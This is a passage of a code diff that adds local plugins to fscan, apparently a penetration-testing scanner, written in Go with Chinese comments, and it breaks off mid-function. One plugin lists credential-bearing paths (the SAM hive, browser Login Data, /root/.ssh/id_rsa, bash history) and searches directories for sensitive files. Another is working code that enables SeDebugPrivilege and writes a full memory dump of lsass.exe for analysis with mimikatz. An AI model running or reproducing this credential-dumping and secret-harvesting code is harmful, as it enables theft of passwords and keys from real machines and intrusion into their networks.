func (c *FileInfoConnector) initSensitiveFiles() {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
c.sensitiveFiles = []string{
|
||||
"C:\\boot.ini",
|
||||
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
||||
"C:\\windows\\repair\\sam",
|
||||
"C:\\windows\\system32\\config\\sam",
|
||||
}
|
||||
|
||||
if homeDir := c.GetCommonDirectories()[0]; homeDir != "" {
|
||||
c.sensitiveFiles = append(c.sensitiveFiles, []string{
|
||||
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||
}...)
|
||||
}
|
||||
|
||||
case "linux", "darwin":
|
||||
c.sensitiveFiles = []string{
|
||||
"/etc/apache/httpd.conf",
|
||||
"/etc/httpd/conf/httpd.conf",
|
||||
"/etc/nginx/nginx.conf",
|
||||
"/etc/hosts.deny",
|
||||
"/etc/ssh/ssh_config",
|
||||
"/etc/resolv.conf",
|
||||
"/root/.ssh/authorized_keys",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/root/.bash_history",
|
||||
}
|
||||
}
|
||||
|
||||
c.searchDirs = c.GetCommonDirectories()
|
||||
}
|
||||
|
||||
// ScanLocal 执行本地文件扫描
|
||||
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始本地敏感文件扫描...")
|
||||
|
||||
// 建立连接
|
||||
conn, err := p.connector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
defer p.connector.Close(conn)
|
||||
|
||||
foundFiles := make([]string, 0)
|
||||
|
||||
// 扫描固定位置的敏感文件
|
||||
common.LogDebug("扫描固定敏感文件位置...")
|
||||
for _, file := range p.connector.sensitiveFiles {
|
||||
if p.checkFile(file) {
|
||||
foundFiles = append(foundFiles, file)
|
||||
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
|
||||
}
|
||||
}
|
||||
|
||||
// 根据规则搜索敏感文件
|
||||
common.LogDebug("按规则搜索敏感文件...")
|
||||
searchFiles := p.searchSensitiveFiles()
|
||||
foundFiles = append(foundFiles, searchFiles...)
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: len(foundFiles) > 0,
|
||||
Service: "FileInfo",
|
||||
Banner: fmt.Sprintf("发现 %d 个敏感文件", len(foundFiles)),
|
||||
Extra: map[string]interface{}{
|
||||
"files": foundFiles,
|
||||
"total_count": len(foundFiles),
|
||||
"platform": runtime.GOOS,
|
||||
},
|
||||
}
|
||||
|
||||
if len(foundFiles) > 0 {
|
||||
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
|
||||
} else {
|
||||
common.LogDebug("未发现敏感文件")
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetLocalData 获取本地文件数据
|
||||
func (p *FileInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
// 获取系统信息
|
||||
data["platform"] = runtime.GOOS
|
||||
data["arch"] = runtime.GOARCH
|
||||
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
data["home_dir"] = homeDir
|
||||
}
|
||||
|
||||
if workDir, err := os.Getwd(); err == nil {
|
||||
data["work_dir"] = workDir
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取敏感文件数据
|
||||
func (p *FileInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
// 文件信息收集插件主要是扫描,不进行深度利用
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: "文件信息收集完成",
|
||||
Data: data,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// checkFile 检查文件是否存在
|
||||
func (p *FileInfoPlugin) checkFile(path string) bool {
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// searchSensitiveFiles 搜索敏感文件
|
||||
func (p *FileInfoPlugin) searchSensitiveFiles() []string {
|
||||
var foundFiles []string
|
||||
|
||||
for _, searchPath := range p.connector.searchDirs {
|
||||
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 跳过黑名单文件
|
||||
if p.isBlacklisted(path) {
|
||||
if info.IsDir() {
|
||||
return filepath.SkipDir
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查白名单关键词
|
||||
if p.isWhitelisted(info.Name()) {
|
||||
foundFiles = append(foundFiles, path)
|
||||
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
return foundFiles
|
||||
}
|
||||
|
||||
// isBlacklisted 检查是否在黑名单中
|
||||
func (p *FileInfoPlugin) isBlacklisted(path string) bool {
|
||||
pathLower := strings.ToLower(path)
|
||||
for _, black := range p.blacklist {
|
||||
if strings.Contains(pathLower, black) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// isWhitelisted 检查是否匹配白名单
|
||||
func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
|
||||
filenameLower := strings.ToLower(filename)
|
||||
for _, white := range p.whitelist {
|
||||
if strings.Contains(filenameLower, white) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
base.GlobalPluginRegistry.Register("fileinfo", base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "fileinfo",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "本地敏感文件信息收集插件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "fileinfo", "sensitive"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewFileInfoPlugin()
|
||||
},
|
||||
))
|
||||
}
|
54
Plugins/local/interfaces.go
Normal file
54
Plugins/local/interfaces.go
Normal file
@ -0,0 +1,54 @@
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
)
|
||||
|
||||
// LocalConnector 本地信息收集连接器接口
|
||||
type LocalConnector interface {
|
||||
// Connect 建立本地连接(实际上是初始化本地环境)
|
||||
Connect(ctx context.Context, info *common.HostInfo) (interface{}, error)
|
||||
|
||||
// Close 关闭连接和清理资源
|
||||
Close(conn interface{}) error
|
||||
|
||||
// GetSystemInfo 获取系统信息
|
||||
GetSystemInfo(conn interface{}) (map[string]string, error)
|
||||
}
|
||||
|
||||
// LocalScanner 本地扫描器接口
|
||||
type LocalScanner interface {
|
||||
base.Scanner
|
||||
|
||||
// ScanLocal 执行本地扫描
|
||||
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
|
||||
|
||||
// GetLocalData 获取本地数据
|
||||
GetLocalData(ctx context.Context) (map[string]interface{}, error)
|
||||
}
|
||||
|
||||
// LocalExploiter 本地信息提取器接口
|
||||
type LocalExploiter interface {
|
||||
base.Exploiter
|
||||
|
||||
// ExtractData 提取本地数据
|
||||
ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error)
|
||||
}
|
||||
|
||||
// LocalPlugin 本地插件接口
|
||||
type LocalPlugin interface {
|
||||
base.Plugin
|
||||
LocalScanner
|
||||
LocalExploiter
|
||||
|
||||
// GetLocalConnector 获取本地连接器
|
||||
GetLocalConnector() LocalConnector
|
||||
|
||||
// GetPlatformSupport 获取支持的平台
|
||||
GetPlatformSupport() []string
|
||||
|
||||
// RequiresPrivileges 是否需要特殊权限
|
||||
RequiresPrivileges() bool
|
||||
}
|
468
Plugins/local/minidump/plugin.go
Normal file
468
Plugins/local/minidump/plugin.go
Normal file
@ -0,0 +1,468 @@
|
||||
//go:build windows
|
||||
|
||||
package minidump
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
"golang.org/x/sys/windows"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
TH32CS_SNAPPROCESS = 0x00000002
|
||||
INVALID_HANDLE_VALUE = ^uintptr(0)
|
||||
MAX_PATH = 260
|
||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
)
|
||||
|
||||
type PROCESSENTRY32 struct {
|
||||
dwSize uint32
|
||||
cntUsage uint32
|
||||
th32ProcessID uint32
|
||||
th32DefaultHeapID uintptr
|
||||
th32ModuleID uint32
|
||||
cntThreads uint32
|
||||
th32ParentProcessID uint32
|
||||
pcPriClassBase int32
|
||||
dwFlags uint32
|
||||
szExeFile [MAX_PATH]uint16
|
||||
}
|
||||
|
||||
type LUID struct {
|
||||
LowPart uint32
|
||||
HighPart int32
|
||||
}
|
||||
|
||||
type LUID_AND_ATTRIBUTES struct {
|
||||
Luid LUID
|
||||
Attributes uint32
|
||||
}
|
||||
|
||||
type TOKEN_PRIVILEGES struct {
|
||||
PrivilegeCount uint32
|
||||
Privileges [1]LUID_AND_ATTRIBUTES
|
||||
}
|
||||
|
||||
// MiniDumpPlugin 内存转储插件
|
||||
type MiniDumpPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
connector *MiniDumpConnector
|
||||
}
|
||||
|
||||
// MiniDumpConnector 内存转储连接器
|
||||
type MiniDumpConnector struct {
|
||||
*local.BaseLocalConnector
|
||||
kernel32 *syscall.DLL
|
||||
dbghelp *syscall.DLL
|
||||
advapi32 *syscall.DLL
|
||||
}
|
||||
|
||||
// ProcessManager Windows进程管理器
|
||||
type ProcessManager struct {
|
||||
kernel32 *syscall.DLL
|
||||
dbghelp *syscall.DLL
|
||||
advapi32 *syscall.DLL
|
||||
}
|
||||
|
||||
// NewMiniDumpPlugin 创建内存转储插件
|
||||
func NewMiniDumpPlugin() *MiniDumpPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "minidump",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows进程内存转储插件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
connector := NewMiniDumpConnector()
|
||||
plugin := &MiniDumpPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||
connector: connector,
|
||||
}
|
||||
|
||||
// 仅支持Windows平台
|
||||
plugin.SetPlatformSupport([]string{"windows"})
|
||||
// 需要管理员权限
|
||||
plugin.SetRequiresPrivileges(true)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// NewMiniDumpConnector 创建内存转储连接器
|
||||
func NewMiniDumpConnector() *MiniDumpConnector {
|
||||
baseConnector, _ := local.NewBaseLocalConnector()
|
||||
|
||||
return &MiniDumpConnector{
|
||||
BaseLocalConnector: baseConnector,
|
||||
}
|
||||
}
|
||||
|
||||
// Connect 建立内存转储连接
|
||||
func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||
// 先建立基础本地连接
|
||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 加载系统DLL
|
||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
c.kernel32 = kernel32
|
||||
c.dbghelp = dbghelp
|
||||
c.advapi32 = advapi32
|
||||
|
||||
return localConn, nil
|
||||
}
|
||||
|
||||
// Close 关闭连接
|
||||
func (c *MiniDumpConnector) Close(conn interface{}) error {
|
||||
return c.BaseLocalConnector.Close(conn)
|
||||
}
|
||||
|
||||
// ScanLocal 执行内存转储扫描
|
||||
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始进程内存转储...")
|
||||
|
||||
// 检查管理员权限
|
||||
if !p.isAdmin() {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: errors.New("需要管理员权限才能执行内存转储"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 建立连接
|
||||
conn, err := p.connector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
defer p.connector.Close(conn)
|
||||
|
||||
// 创建进程管理器
|
||||
pm := &ProcessManager{
|
||||
kernel32: p.connector.kernel32,
|
||||
dbghelp: p.connector.dbghelp,
|
||||
advapi32: p.connector.advapi32,
|
||||
}
|
||||
|
||||
// 查找lsass.exe进程
|
||||
pid, err := pm.findProcess("lsass.exe")
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("查找lsass.exe失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid))
|
||||
|
||||
// 提升权限
|
||||
if err := pm.elevatePrivileges(); err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("提升权限失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 创建转储文件
|
||||
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
|
||||
|
||||
// 执行转储
|
||||
if err := pm.dumpProcess(pid, outputPath); err != nil {
|
||||
os.Remove(outputPath) // 失败时清理文件
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("内存转储失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 获取文件信息
|
||||
fileInfo, err := os.Stat(outputPath)
|
||||
var fileSize int64
|
||||
if err == nil {
|
||||
fileSize = fileInfo.Size()
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "MiniDump",
|
||||
Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid),
|
||||
Extra: map[string]interface{}{
|
||||
"process_name": "lsass.exe",
|
||||
"process_id": pid,
|
||||
"dump_file": outputPath,
|
||||
"file_size": fileSize,
|
||||
},
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize))
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetLocalData 获取内存转储本地数据
|
||||
func (p *MiniDumpPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
data["plugin_type"] = "minidump"
|
||||
data["target_process"] = "lsass.exe"
|
||||
data["requires_admin"] = true
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取内存数据
|
||||
func (p *MiniDumpPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: "内存转储完成,可使用mimikatz等工具分析",
|
||||
Data: data,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// isAdmin 检查是否具有管理员权限
|
||||
func (p *MiniDumpPlugin) isAdmin() bool {
|
||||
var sid *windows.SID
|
||||
err := windows.AllocateAndInitializeSid(
|
||||
&windows.SECURITY_NT_AUTHORITY,
|
||||
2,
|
||||
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
||||
windows.DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
&sid)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer windows.FreeSid(sid)
|
||||
|
||||
token := windows.Token(0)
|
||||
member, err := token.IsMember(sid)
|
||||
return err == nil && member
|
||||
}
|
||||
|
||||
// ProcessManager 方法实现
|
||||
|
||||
// findProcess 查找进程
|
||||
func (pm *ProcessManager) findProcess(name string) (uint32, error) {
|
||||
snapshot, err := pm.createProcessSnapshot()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer pm.closeHandle(snapshot)
|
||||
|
||||
return pm.findProcessInSnapshot(snapshot, name)
|
||||
}
|
||||
|
||||
// createProcessSnapshot 创建进程快照
|
||||
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
||||
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
|
||||
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
||||
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
||||
return 0, fmt.Errorf("创建进程快照失败: %v", err)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// findProcessInSnapshot 在快照中查找进程
|
||||
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
||||
var pe32 PROCESSENTRY32
|
||||
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
||||
|
||||
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
|
||||
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
|
||||
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
|
||||
|
||||
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
return 0, fmt.Errorf("获取第一个进程失败")
|
||||
}
|
||||
|
||||
for {
|
||||
ret, _, _ = lstrcmpi.Call(
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
|
||||
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return pe32.th32ProcessID, nil
|
||||
}
|
||||
|
||||
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("未找到进程: %s", name)
|
||||
}
|
||||
|
||||
// elevatePrivileges 提升权限
|
||||
func (pm *ProcessManager) elevatePrivileges() error {
|
||||
handle, err := pm.getCurrentProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var token syscall.Token
|
||||
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
||||
if err != nil {
|
||||
return fmt.Errorf("打开进程令牌失败: %v", err)
|
||||
}
|
||||
defer token.Close()
|
||||
|
||||
var tokenPrivileges TOKEN_PRIVILEGES
|
||||
|
||||
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||
ret, _, err := lookupPrivilegeValue.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("查找特权值失败: %v", err)
|
||||
}
|
||||
|
||||
tokenPrivileges.PrivilegeCount = 1
|
||||
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
||||
|
||||
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
||||
ret, _, err = adjustTokenPrivileges.Call(
|
||||
uintptr(token),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
||||
0, 0, 0,
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("调整令牌特权失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// getCurrentProcess 获取当前进程句柄
|
||||
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
||||
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
||||
handle, _, _ := proc.Call()
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("获取当前进程句柄失败")
|
||||
}
|
||||
return syscall.Handle(handle), nil
|
||||
}
|
||||
|
||||
// dumpProcess 转储进程内存
|
||||
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
||||
processHandle, err := pm.openProcess(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(processHandle)
|
||||
|
||||
fileHandle, err := pm.createDumpFile(outputPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(fileHandle)
|
||||
|
||||
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
|
||||
ret, _, err := miniDumpWriteDump.Call(
|
||||
processHandle,
|
||||
uintptr(pid),
|
||||
fileHandle,
|
||||
0x00061907, // MiniDumpWithFullMemory
|
||||
0, 0, 0,
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("写入转储文件失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// openProcess 打开进程
|
||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||
proc := pm.kernel32.MustFindProc("OpenProcess")
|
||||
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("打开进程失败: %v", err)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// createDumpFile 创建转储文件
|
||||
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||
pathPtr, err := syscall.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
createFile := pm.kernel32.MustFindProc("CreateFileW")
|
||||
handle, _, err := createFile.Call(
|
||||
uintptr(unsafe.Pointer(pathPtr)),
|
||||
syscall.GENERIC_WRITE,
|
||||
0, 0,
|
||||
syscall.CREATE_ALWAYS,
|
||||
syscall.FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
)
|
||||
|
||||
if handle == INVALID_HANDLE_VALUE {
|
||||
return 0, fmt.Errorf("创建文件失败: %v", err)
|
||||
}
|
||||
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// closeHandle 关闭句柄
|
||||
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||
proc := pm.kernel32.MustFindProc("CloseHandle")
|
||||
proc.Call(handle)
|
||||
}
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "minidump",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows进程内存转储插件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewMiniDumpPlugin()
|
||||
},
|
||||
))
|
||||
}
|
155
Plugins/local/plugin.go
Normal file
155
Plugins/local/plugin.go
Normal file
@ -0,0 +1,155 @@
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
)
|
||||
|
||||
// BaseLocalPlugin 本地插件基础实现
|
||||
type BaseLocalPlugin struct {
|
||||
*base.BasePlugin
|
||||
connector LocalConnector
|
||||
platforms []string
|
||||
requiresPrivileges bool
|
||||
}
|
||||
|
||||
// NewBaseLocalPlugin 创建基础本地插件
|
||||
func NewBaseLocalPlugin(metadata *base.PluginMetadata, connector LocalConnector) *BaseLocalPlugin {
|
||||
basePlugin := base.NewBasePlugin(metadata)
|
||||
|
||||
return &BaseLocalPlugin{
|
||||
BasePlugin: basePlugin,
|
||||
connector: connector,
|
||||
platforms: []string{"windows", "linux", "darwin"},
|
||||
requiresPrivileges: false,
|
||||
}
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *BaseLocalPlugin) Initialize() error {
|
||||
// 检查平台支持
|
||||
if !p.isPlatformSupported() {
|
||||
return fmt.Errorf("当前平台 %s 不支持此插件", runtime.GOOS)
|
||||
}
|
||||
|
||||
return p.BasePlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 执行扫描
|
||||
func (p *BaseLocalPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
// 检查权限要求
|
||||
if p.requiresPrivileges && !p.hasRequiredPrivileges() {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: errors.New("需要管理员/root权限才能执行此扫描"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 默认本地扫描实现(子类应重写)
|
||||
func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: errors.New("ScanLocal方法需要在子类中实现"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Exploit 执行利用
|
||||
func (p *BaseLocalPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
// 获取本地数据
|
||||
data, err := p.GetLocalData(ctx)
|
||||
if err != nil {
|
||||
return &base.ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("获取本地数据失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
|
||||
return p.ExtractData(ctx, info, data)
|
||||
}
|
||||
|
||||
// GetLocalData 默认获取本地数据实现(子类应重写)
|
||||
func (p *BaseLocalPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
return nil, fmt.Errorf("GetLocalData方法需要在子类中实现")
|
||||
}
|
||||
|
||||
// ExtractData 默认数据提取实现(子类应重写)
|
||||
func (p *BaseLocalPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: false,
|
||||
Error: errors.New("ExtractData方法需要在子类中实现"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetLocalConnector 获取本地连接器
|
||||
func (p *BaseLocalPlugin) GetLocalConnector() LocalConnector {
|
||||
return p.connector
|
||||
}
|
||||
|
||||
// GetPlatformSupport 获取支持的平台
|
||||
func (p *BaseLocalPlugin) GetPlatformSupport() []string {
|
||||
return p.platforms
|
||||
}
|
||||
|
||||
// SetPlatformSupport 设置支持的平台
|
||||
func (p *BaseLocalPlugin) SetPlatformSupport(platforms []string) {
|
||||
p.platforms = platforms
|
||||
}
|
||||
|
||||
// RequiresPrivileges 是否需要特殊权限
|
||||
func (p *BaseLocalPlugin) RequiresPrivileges() bool {
|
||||
return p.requiresPrivileges
|
||||
}
|
||||
|
||||
// SetRequiresPrivileges 设置是否需要特殊权限
|
||||
func (p *BaseLocalPlugin) SetRequiresPrivileges(required bool) {
|
||||
p.requiresPrivileges = required
|
||||
}
|
||||
|
||||
// isPlatformSupported 检查当前平台是否支持
|
||||
func (p *BaseLocalPlugin) isPlatformSupported() bool {
|
||||
currentOS := runtime.GOOS
|
||||
for _, platform := range p.platforms {
|
||||
if platform == currentOS {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// hasRequiredPrivileges 检查是否具有所需权限
|
||||
func (p *BaseLocalPlugin) hasRequiredPrivileges() bool {
|
||||
if !p.requiresPrivileges {
|
||||
return true
|
||||
}
|
||||
|
||||
// 这里可以根据平台实现权限检查
|
||||
// Windows: 检查是否为管理员
|
||||
// Linux/macOS: 检查是否为root或有sudo权限
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return isWindowsAdmin()
|
||||
case "linux", "darwin":
|
||||
return isUnixRoot()
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// 平台特定的权限检查函数
|
||||
func isWindowsAdmin() bool {
|
||||
// 这里可以调用Windows API检查管理员权限
|
||||
// 简化实现,实际应该使用Windows API
|
||||
return false
|
||||
}
|
||||
|
||||
func isUnixRoot() bool {
|
||||
// 检查是否为root用户
|
